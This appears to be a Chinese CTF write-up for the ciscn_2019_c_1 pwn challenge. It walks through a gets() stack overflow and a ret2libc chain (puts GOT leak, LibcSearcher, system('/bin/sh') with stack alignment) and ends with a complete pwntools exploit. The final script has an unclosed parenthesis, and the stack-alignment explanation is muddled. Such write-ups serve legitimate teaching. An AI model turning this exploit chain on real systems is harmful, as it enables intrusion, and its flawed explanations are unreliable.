ciscn_2019_c_1

检查文件

checksec检查保护机制:

1
2
3
4
5
6
[*] '/home/bi0x/\xe6\xa1\x8c\xe9\x9d\xa2/pwn_ctf/ciscn_2019_c_1/ciscn_2019_c_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位 elf 文件,开启 NX 保护,无 PIE。

IDA分析

main 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]

init(*(_QWORD *)&argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin("Welcome to this Encryption machine\n");
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin("I think you can do it by yourself");
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin("%d");
}
puts("Something Wrong!");
return 0;
}

encrypt 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

encrypt 函数中,存在 gets 栈溢出漏洞,输入 s 没有边界检查。

shift + f12 查找不到 system 函数和字符串 “bin/sh” 等有用的后门函数,需要自己泄露libc版本和构建rop链。

值得注意,输入 s 后是经过了异或加密,所以如果我们 payload 后会被修改。

不过异或具有自反性,a ^ b = c; c ^ b = a。所以这里加密与解密相同。

分析

基本做法

  1. 利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使用的 libc 的版本。
  2. 程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址 = libc 里的函数地址 + 偏移量,在1中找到了 libc 的版本,用同一个程序里函数的地址 - libc里的函数地址即可得到偏移量。
  3. 得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造 rop 去执行 system(’/bin/sh‘)这样的命令。

利用过程

可以在上面的程序伪代码中看到,程序执行过了puts函数,我们就利用它的 plt 和 got 地址来泄露我们的 libc 版本,这里用到了一个延迟绑定技术。

延迟绑定技术:函数第一次被调用时才进行绑定。通过延迟绑定,大大的加快了程序的启动速度,而ELF文件则使用了 PLT 的技术来实现延迟绑定。

延迟绑定实现步骤:

1.建立一个 GOT.PLT 表存放全局函数的实际地址。

2.对每一个全局函数,链接器都会生成一个与之相对应的 plt,例如 fun@plt。

1
2
3
4
5
fun@plt:
jmp *(fun@got.plt)
push index
jmp _init
其中的第一条指令,就是直接从got.plt中获取到真实的函数地址(仅第一次调用,若不是第一次就已经是真实地址),第二条指令就是把这个函数在got.plt表中的编号作为参数,传递给_init(),而_init()将其重定位,然后将结果写入到got.plt中。

泄露libc版本

查找 rdi :

32位程序运行执行指令的时候直接去内存地址寻址执行。
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序。

所以需要借用 rdi 寄存器来传参。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bi0x@ubuntu:~/桌面/pwn_ctf/ciscn_2019_c_1$ ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret' 
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret #一个万能的gadget,x64程序基本都存在,pop rdi;ret;
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

Unique gadgets found: 15

前期脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def encrypt(payload):  #加密与解密相同
s = list(payload)
for i in range(len(s)):
c = ord(payload[i])
if ( c <= 96 or c > 122 ):
if ( c <= 64 or c > 90 ):
if ( c > 47 and c <= 57 ):
c ^= 0xF
else:
c ^= 0xE
else:
c ^= 0xD
s[i] = chr(c)
return ''.join(s)

#sh = remote('node3.buuoj.cn',28115)
sh = process('./ciscn_2019_c_1')
ciscn = ELF('./ciscn_2019_c_1')

puts_plt = ciscn.plt['puts'] #调用puts函数,输出的是puts的got表地址
puts_got = ciscn.got['puts'] #设置rdi寄存器的值为puts的got表地址
pop_rdi = 0x400c83 #64位程序,rdi寄存器存储值,借用寄存器来传参
main_addr = 0x400b28 #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流让它返回到main函数,这样我们才可以再一次利用输入点构造rop。
padding1 = 'a'*(0x50 + 0x8) #IDA查看第4行得0x50,再加8位(x64)
sh.recvuntil('choice!\n')
sh.sendline('1')

payload1 = padding1 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #64ELF,须p64包裹
#泄露的是got表,后面的plt地址是为了调用puts输出结果
#rdi存got表的地址,plt表调用puts输出rdi参数,从而泄露got表的puts地址,之后返回到main函数从头开始运行。
sh.recvuntil('encrypted\n')
sh.sendline(encrypt(payload1))

sh.recvuntil('Ciphertext\n')
sh.recvuntil('\n')

#puts_addr = u64(sh.recv()[0:8]) #不能这样写
puts_addr = u64(sh.recvuntil('\n', drop=True).ljust(8,'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)

栈对齐:

puts_addr = u64(sh.recvuntil('\n', drop=True).ljust(8,'\x00'))

LibcSearcher库是根据接收的libc里面函数的地址最后几位来判断libc,实际地址则是程序运行之后,函数在内存中的地址,是一个随机的基址加上libc里面函数的地址,所以需要有个基址才能正确调用内存中的函数,栈对齐是ubuntu18后的一个机制,就是函数结束时候由于一些出入栈的操作导致栈地址不能向8位或16位对齐,需要对齐之后才能使用函数。

所以不能用puts_addr = u64(sh.recv()[0:8])这样的写法。

算出偏移量

1
2
3
4
5
6
7
8
9
libc = LibcSearcher('puts', puts_addr) #找到libc版本
libcbase = puts_addr - libc.dump('puts') #算出偏移量

sh.recvuntil('choice!\n')
sh.sendline('1')
sh.recvuntil('encrypted\n')
#偏移量 + libc函数地址 = 实际函数地址
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

构造rop执行system(‘/bin/sh’)

1
2
3
4
ret = 0x4006b9
payload2 = padding1 + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload2)
sh.interactive()

题目是部署在 Ubuntu18 上的,因此调用 system 需要栈对齐。

栈对齐

解决办法:

核心思想就是改变栈的地址。

  1. 改变 payload 长度
  2. 栈转移

改变payload长度

直接更改我们的 payload 长度,在栈溢出的时候栈的地址自然不同,然后将栈地址 +1,如果不行的话,就继续增加,最多也就改16次就一定会遇到栈对齐的情况。

1
2
3
4
5
6
7
8
9
10
原本的payload,运行后栈如下
ret pop_rdi_ret
bin_sh
system

我们增加一些额外的指令,ret,ret 1,ret 2,ret 3等等
ret ret
pop_rdi_ret
bin_sh
system

栈转移

当 payload 有长度限制的时候,我们可以尝试进行栈转移来进行栈地址的改变,如果遇到了没有对齐的情况就继续将栈地址 +1,直到遇到栈对齐的情况。

调用execve

用 execve 函数来替换 system 函数,这个要求就更高,应为他需要三个参数才能正常调用。也就是说我们需要构造 rdi、rsi、rdx 这三个参数。

这题也可以溢出用 execve 的地址覆盖 ret 的地址从而获得 shell:

相关链接:https://blog.csdn.net/qq_43189757/article/details/100572092

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import LibcSearcher

def encrypt(payload):
s = list(payload)
for i in range(len(s)):
c = ord(payload[i])
if ( c <= 96 or c > 122 ):
if ( c <= 64 or c > 90 ):
if ( c > 47 and c <= 57 ):
c ^= 0xF
else:
c ^= 0xE
else:
c ^= 0xD
s[i] = chr(c)
return ''.join(s)

sh = remote('node3.buuoj.cn',25686)
#sh = process('./ciscn_2019_c_1')
ciscn = ELF('./ciscn_2019_c_1')

puts_plt = ciscn.plt['puts']
puts_got = ciscn.got['puts']
pop_rdi = 0x400c83
main_addr = 0x400b28
padding1 = 'a'*(0x50 + 0x8
sh.recvuntil('choice!\n')
sh.sendline('1')

payload1 = padding1 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
sh.recvuntil('encrypted\n')
sh.sendline(encrypt(payload1))

sh.recvuntil('Ciphertext\n')
sh.recvuntil('\n')
puts_addr = u64(sh.recvuntil('\n', drop=True).ljust(8,'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')

sh.recvuntil('choice!\n')
sh.sendline('1')
sh.recvuntil('encrypted\n')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
ret = 0x4006b9
payload2 = padding1 + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload2)
sh.interactive()

参考资料